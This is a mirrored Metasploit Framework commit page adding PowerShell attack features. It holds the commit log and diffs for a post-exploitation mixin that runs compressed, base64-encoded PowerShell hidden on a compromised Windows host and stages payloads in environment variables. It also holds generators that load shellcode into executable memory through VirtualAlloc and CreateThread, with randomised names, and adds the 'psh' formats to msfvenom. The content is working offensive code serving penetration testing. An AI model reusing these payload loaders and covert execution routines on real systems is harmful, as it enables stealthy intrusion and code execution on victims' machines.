mirror of
https://github.com/rapid7/metasploit-framework
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Landing sempervictus's Powershell features
Adding the payload generator, but not the post module -- couldn't get a satisfactory test out of the module (see the comments on #251). Please open a new request with the post module and a test scenario, like a sample script or something to drop into /scripts/powershell. I like the powershell stuff a lot; I imagine it's a popular set of tools on high-value targets, like workstations of IT people. [Closes #251] Squashed commit of the following: commit 46475c27a2d0a84b62167a65c9a158dfb7c9e755 Author: Tod Beardsley <todb@metasploit.com> Date: Fri May 18 15:23:22 2012 -0500 Fixing whitespace on msfvenom case list. commit 7e4c6613004e9b70e0ba4653e9eaa83470429c7e Merge:81a7d6252183aaAuthor: Tod Beardsley <todb@metasploit.com> Date: Fri May 18 15:06:51 2012 -0500 Merge branch 'master' into rage-ps commit81a7d62c6dAuthor: RageLtMan <rageltman [at] sempervictus> Date: Tue Mar 20 20:19:13 2012 -0400 powershell for msfvenom commit672c7bc37eMerge:3e86dc4ed542e2Author: RageLtMan <rageltman [at] sempervictus> Date: Tue Mar 20 20:08:12 2012 -0400 exe.rb merge cleanup commit3e86dc4c40Author: RageLtMan <rageltman [at] sempervictus> Date: Tue Mar 20 20:06:03 2012 -0400 psh encoder cleanup commitf619ed477fAuthor: RageLtMan <rageltman@sempervictus.com> Date: Sun Feb 5 13:35:11 2012 -0500 method call fix for psh-net encoder commit7b035e6da0Author: RageLtMan <rageltman@sempervictus.com> Date: Fri Feb 3 18:53:54 2012 -0500 PS encoders: .net and architecture dependent native (psh-net, psh) commit7a2749bf26Merge:32730b9f89853dAuthor: RageLtMan <rageltman@sempervictus.com> Date: Fri Feb 3 18:38:03 2012 -0500 Merge branch 'master' into powershell commit32730b96beMerge:e69fcd1f6a6963Author: RageLtMan <rageltman@sempervictus.com> Date: Wed Jan 25 10:33:17 2012 -0500 Merge branch 'master' of https://github.com/rapid7/metasploit-framework into powershell commite69fcd1a83Author: RageLtMan <rageltman@sempervictus.com> Date: Wed Jan 25 07:59:38 2012 -0500 msfvenom psh addition commit9a5d8ead7eAuthor: RageLtMan <rageltman@sempervictus.com> Date: Wed Jan 25 07:29:38 2012 -0500 Proper author reference commit9fd8ac75a8Author: RageLtMan <rageltman@sempervictus.com> Date: Tue Jan 24 19:07:30 2012 -0500 Fix script handling commitfa363dfe96Author: RageLtMan <rageltman@sempervictus.com> Date: Tue Jan 24 17:31:09 2012 -0500 added Msf::Post::Windows::Powershell, reworked post module to use mixin commite078d15b54Author: RageLtMan <rageltman@sempervictus.com> Date: Mon Jan 23 13:42:35 2012 -0500 vprint_good change commit355f8bb19aAuthor: RageLtMan <rageltman@sempervictus.com> Date: Mon Jan 23 12:50:51 2012 -0500 exec powershell module commit5f95094449Author: RageLtMan <rageltman@sempervictus.com> Date: Mon Jan 23 12:45:41 2012 -0500 powershell encoder support - Redmine Feature #6049
This commit is contained in:
Tod Beardsley
parent
52183aa249
commit
7811b0a3fd
203
lib/msf/core/post/windows/powershell.rb
Normal file
203
lib/msf/core/post/windows/powershell.rb
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@ -0,0 +1,203 @@
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require 'zlib'
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require 'msf/core/post/common'
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module Msf
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class Post
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module Windows
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module Powershell
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include ::Msf::Post::Common
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# List of running processes, open channels, and env variables...
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# Suffix for environment variables
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def have_powershell?
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cmd_out = cmd_exec("powershell get-host")
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return true if cmd_out =~ /Name.*Version.*InstanceID/
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return false
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end
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def make_subs(script, subs)
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subs.each do |set|
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script.gsub!(set[0],set[1])
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end
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if datastore['VERBOSE']
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print_good("Final Script: ")
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script.each_line {|l| print_status("\t#{l}")}
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end
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end
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def process_subs(subs)
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return [] if subs.nil? or subs.empty?
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new_subs = []
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subs.split(';').each do |set|
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new_subs << set.split(',', 2)
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end
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return new_subs
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end
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def read_script(script)
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script_in = ''
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begin
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# Open script file for reading
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fd = ::File.new(script, 'r')
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while (line = fd.gets)
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script_in << line
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end
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# Close open file
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fd.close()
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rescue Errno::ENAMETOOLONG, Errno::ENOENT
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# Treat script as a... script
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script_in = script
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end
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return script_in
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end
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def compress_script(script_in, eof = nil)
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# Compress using the Deflate algorithm
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compressed_stream = ::Zlib::Deflate.deflate(script_in,
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::Zlib::BEST_COMPRESSION)
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# Base64 encode the compressed file contents
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encoded_stream = Rex::Text.encode_base64(compressed_stream)
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# Build the powershell expression
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# Decode base64 encoded command and create a stream object
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psh_expression = "$stream = New-Object IO.MemoryStream(,"
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psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));"
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# Read & delete the first two bytes due to incompatibility with MS
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psh_expression += "$stream.ReadByte()|Out-Null;"
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psh_expression += "$stream.ReadByte()|Out-Null;"
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# Uncompress and invoke the expression (execute)
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psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader("
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psh_expression += "$(New-Object IO.Compression.DeflateStream("
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psh_expression += "$stream,"
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psh_expression += "[IO.Compression.CompressionMode]::Decompress)),"
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psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());"
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# If eof is set, add a marker to signify end of script output
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if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
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# Convert expression to unicode
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unicode_expression = Rex::Text.to_unicode(psh_expression)
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# Base64 encode the unicode expression
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encoded_expression = Rex::Text.encode_base64(unicode_expression)
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return encoded_expression
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end
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def execute_script(script)
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running_pids, open_channels = [], []
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# Execute using -EncodedCommand
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cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
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"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
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# Add to list of running processes
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running_pids << cmd_out.pid
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# Add to list of open channels
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open_channels << cmd_out
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return [cmd_out, running_pids, open_channels]
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end
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def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
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# Divide the encoded script into 8000 byte chunks and iterate
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index = 0
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count = 8000
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while (index < compressed_script.size - 1)
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# Define random, but serialized variable name
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env_prefix = "%05d" % ((index + 8000)/8000)
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env_variable = env_prefix + env_suffix
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# Create chunk
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chunk = compressed_script[index, count]
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# Build the set commands
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set_env_variable = "[Environment]::SetEnvironmentVariable("
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set_env_variable += "'#{env_variable}',"
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set_env_variable += "'#{chunk}', 'User')"
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# Compress and encode the set command
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encoded_stager = compress_script(set_env_variable)
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# Stage the payload
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print_good(" - Bytes remaining: #{compressed_script.size - index}")
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execute_script(encoded_stager)
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# Increment index
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index += count
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end
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# Build the script reassembler
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reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|"
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reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
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reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
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reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
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reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
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# Compress and encode the reassemble command
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encoded_script = compress_script(reassemble_command)
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return encoded_script
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end
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def write_to_log(cmd_out, log_file, eof)
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# Open log file for writing
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fd = ::File.new(log_file, 'w+')
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# Read output until eof and write to log
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while (line = cmd_out.channel.read())
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if (line.sub!(/#{eof}/, ''))
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fd.write(line)
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vprint_good("\t#{line}")
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cmd_out.channel.close()
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break
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end
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fd.write(line)
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vprint_good("\t#{line}")
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end
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# Close log file
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fd.close()
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return
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end
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def clean_up(script_file, eof, running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8))
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# Remove environment variables
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env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
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env_del_command += "Select-String #{env_suffix}|%{"
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env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
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script = compress_script(env_del_command, eof)
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cmd_out, running_pids, open_channels = *execute_script(script)
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write_to_log(cmd_out, "/dev/null", eof)
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# Kill running processes
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running_pids.each() do |pid|
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session.sys.process.kill(pid)
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end
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# Close open channels
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open_channels.each() do |chan|
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chan.channel.close()
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end
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::File.delete(script_file) if datastore['DELETE']
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return
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end
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end; end; end; end
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@ -1,5 +1,5 @@
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##
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# $Id$
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# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $
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##
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###
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@ -1078,6 +1078,95 @@ End Sub
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source
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end
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def self.to_win32pe_psh_net(framework, code, opts={})
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var_code = Rex::Text.rand_text_alpha(rand(8)+8)
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var_kernel32 = Rex::Text.rand_text_alpha(rand(8)+8)
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var_baseaddr = Rex::Text.rand_text_alpha(rand(8)+8)
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var_threadHandle = Rex::Text.rand_text_alpha(rand(8)+8)
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var_output = Rex::Text.rand_text_alpha(rand(8)+8)
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var_temp = Rex::Text.rand_text_alpha(rand(8)+8)
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var_codeProvider = Rex::Text.rand_text_alpha(rand(8)+8)
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var_compileParams = Rex::Text.rand_text_alpha(rand(8)+8)
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var_syscode = Rex::Text.rand_text_alpha(rand(8)+8)
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code = code.unpack('C*')
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psh = "Set-StrictMode -Version 2\r\n"
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psh << "$#{var_syscode} = @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n"
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psh << "namespace #{var_kernel32} {\r\n"
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psh << "public class func {\r\n"
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psh << "[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }\r\n"
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psh << "[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }\r\n"
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psh << "[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }\r\n"
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psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
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psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
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psh << "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);\r\n"
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psh << "} }\r\n"
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psh << "\"@\r\n\r\n"
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psh << "$#{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider\r\n"
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psh << "$#{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters\r\n"
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psh << "$#{var_compileParams}.ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))\r\n"
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psh << "$#{var_compileParams}.GenerateInMemory = $True\r\n"
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psh << "$#{var_output} = $#{var_codeProvider}.CompileAssemblyFromSource($#{var_compileParams}, $#{var_syscode})\r\n\r\n"
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psh << "[Byte[]]$#{var_code} = 0x#{code[0].to_s(16)}"
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lines = []
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1.upto(code.length-1) do |byte|
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if(byte % 10 == 0)
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lines.push "\r\n$#{var_code} += 0x#{code[byte].to_s(16)}"
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else
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lines.push ",0x#{code[byte].to_s(16)}"
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end
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end
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psh << lines.join("") + "\r\n\r\n"
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psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n"
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psh << "if ([Bool]!$#{var_baseaddr}) { $global:result = 3; return }\r\n"
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psh << "[System.Runtime.InteropServices.Marshal]::Copy($#{var_code}, 0, $#{var_baseaddr}, $#{var_code}.Length)\r\n"
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psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.func]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n"
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psh << "if ([Bool]!$#{var_threadHandle}) { $global:result = 7; return }\r\n"
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psh << "$#{var_temp} = [#{var_kernel32}.func]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.func+Time]::Infinite)\r\n"
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end
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def self.to_win32pe_psh(framework, code, opts={})
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var_code = Rex::Text.rand_text_alpha(rand(8)+8)
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var_win32_func = Rex::Text.rand_text_alpha(rand(8)+8)
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var_payload = Rex::Text.rand_text_alpha(rand(8)+8)
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var_size = Rex::Text.rand_text_alpha(rand(8)+8)
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var_rwx = Rex::Text.rand_text_alpha(rand(8)+8)
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var_iter = Rex::Text.rand_text_alpha(rand(8)+8)
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code = code.unpack("C*")
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# Add wrapper script
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psh = "$#{var_code} = @\"\r\n"
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psh << "[DllImport(\"kernel32.dll\")]\r\n"
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psh << "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
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psh << "[DllImport(\"kernel32.dll\")]\r\n"
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psh << "public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
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psh << "[DllImport(\"msvcrt.dll\")]\r\n"
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psh << "public static extern IntPtr memset(IntPtr dest, uint src, uint count);\r\n"
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psh << "\"@\r\n"
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psh << "$#{var_win32_func} = Add-Type -memberDefinition $#{var_code} -Name \"Win32\" -namespace Win32Functions -passthru\r\n"
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# Set up the payload string
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psh << "[Byte[]]$#{var_payload} = 0x#{code[0].to_s(16)}"
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lines = []
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1.upto(code.length-1) do |byte|
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if(byte % 10 == 0)
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lines.push "\r\n$#{var_payload} += 0x#{code[byte].to_s(16)}"
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else
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lines.push ",0x#{code[byte].to_s(16)}"
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end
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end
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psh << lines.join("") + "\r\n\r\n"
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psh << "$#{var_size} = 0x1000\r\n"
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psh << "if ($#{var_payload}.Length -gt 0x1000) {$#{var_size} = $#{var_payload}.Length}\r\n"
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psh << "$#{var_rwx}=$#{var_win32_func}::VirtualAlloc(0,0x1000,$#{var_size},0x40)\r\n"
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psh << "for ($#{var_iter}=0;$#{var_iter} -le ($#{var_payload}.Length-1);$#{var_iter}++) {$#{var_win32_func}::memset([IntPtr]($#{var_rwx}.ToInt32()+$#{var_iter}), $#{var_payload}[$#{var_iter}], 1)}\r\n"
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psh << "$#{var_win32_func}::CreateThread(0,0,$#{var_rwx},0,0,0)\r\n"
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end
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def self.to_win32pe_vbs(framework, code, opts={})
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to_exe_vbs(to_win32pe(framework, code, opts), opts)
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end
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@ -1824,13 +1913,19 @@ End Sub
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exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
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output = Msf::Util::EXE.to_jsp_war(exe)
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when 'psh'
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output = Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
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when 'psh-net'
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output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
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end
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output
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end
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def self.to_executable_fmt_formats
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['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war']
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['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net']
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end
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#
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9
msfvenom
9
msfvenom
@ -400,7 +400,7 @@ if opts[:format] !~/ruby|rb|perl|pl|bash|sh|c|js|dll|elf/i
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end
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case opts[:format]
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when /ruby|rb|perl|pl|bash|sh|^c$|js_le|raw/i
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when /ruby|rb|perl|pl|bash|^sh$|^c$|js_le|raw/i
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$stdout.write Msf::Simple::Buffer.transform(payload_raw, opts[:format])
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when /asp$/
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asp = Msf::Util::EXE.to_win32pe_asp($framework, payload_raw, exeopts)
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@ -478,8 +478,13 @@ when /war/i
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else
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exe = Msf::Util::EXE.to_jsp_war(exe)
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end
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$stdout.write exe
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when /psh/i
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psh = Msf::Util::EXE.to_win32pe_psh($framework, payload_raw, exeopts)
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$stdout.write psh
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when /psh-net/i
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psh = Msf::Util::EXE.to_win32pe_psh_net($framework, payload_raw, exeopts)
|
||||
$stdout.write psh
|
||||
else
|
||||
print_error("Unsupported format")
|
||||
exit
|
||||
|
||||
Loading…
Reference in New Issue
Block a user